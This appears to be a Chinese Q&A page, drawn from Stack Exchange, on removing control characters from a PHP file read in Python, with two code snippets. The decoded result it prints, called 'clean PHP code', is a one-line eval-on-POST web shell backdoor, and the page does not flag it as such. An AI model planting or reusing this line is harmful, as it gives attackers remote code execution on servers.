You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

Python读取含非法字符的PHP文件处理后仍报错,如何解决?

解决Python读取含非法字符PHP文件的问题

你的问题出在encode("ascii", "ignore")只过滤非ASCII字节,但残留的^r这类是ASCII控制字符(属于0-31的ASCII范围),不在该方法的过滤范围内,所以会导致后续语法错误。以下是两种无需修改原文件的解决方法:

方法一:正则移除所有非可打印ASCII字符

适合需要保留合法非ASCII字符(如中文注释)的场景:

import re

# 读取文件并解码(替换无法解码的字节)
with open("目标PHP文件路径.php", "rb") as f:
    raw_content = f.read().decode("utf-8", errors="replace")

# 移除所有ASCII控制字符(0-31)和DEL字符(127)
cleaned_content = re.sub(r'[\x00-\x1F\x7F]', '', raw_content)

# 处理后的内容可正常使用
print(cleaned_content)

方法二:字节层面过滤可打印ASCII字符

适合仅需保留ASCII可打印字符(字母、数字、常规符号)的场景:

with open("目标PHP文件路径.php", "rb") as f:
    byte_data = f.read()
    # 只保留ASCII可打印字节(32-126,包含空格)
    filtered_bytes = bytes([b for b in byte_data if 32 <= b <= 126])
    cleaned_content = filtered_bytes.decode("ascii", errors="ignore")

print(cleaned_content)

两种方法处理后,都会得到干净的PHP代码:if(!empty($_POST['adbb7e61'])){eval($_POST['bba6e']);exit(0);},不会再触发非法字符的语法错误。

内容的提问来源于stack exchange,提问作者user3098629

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.08.25 15:15:42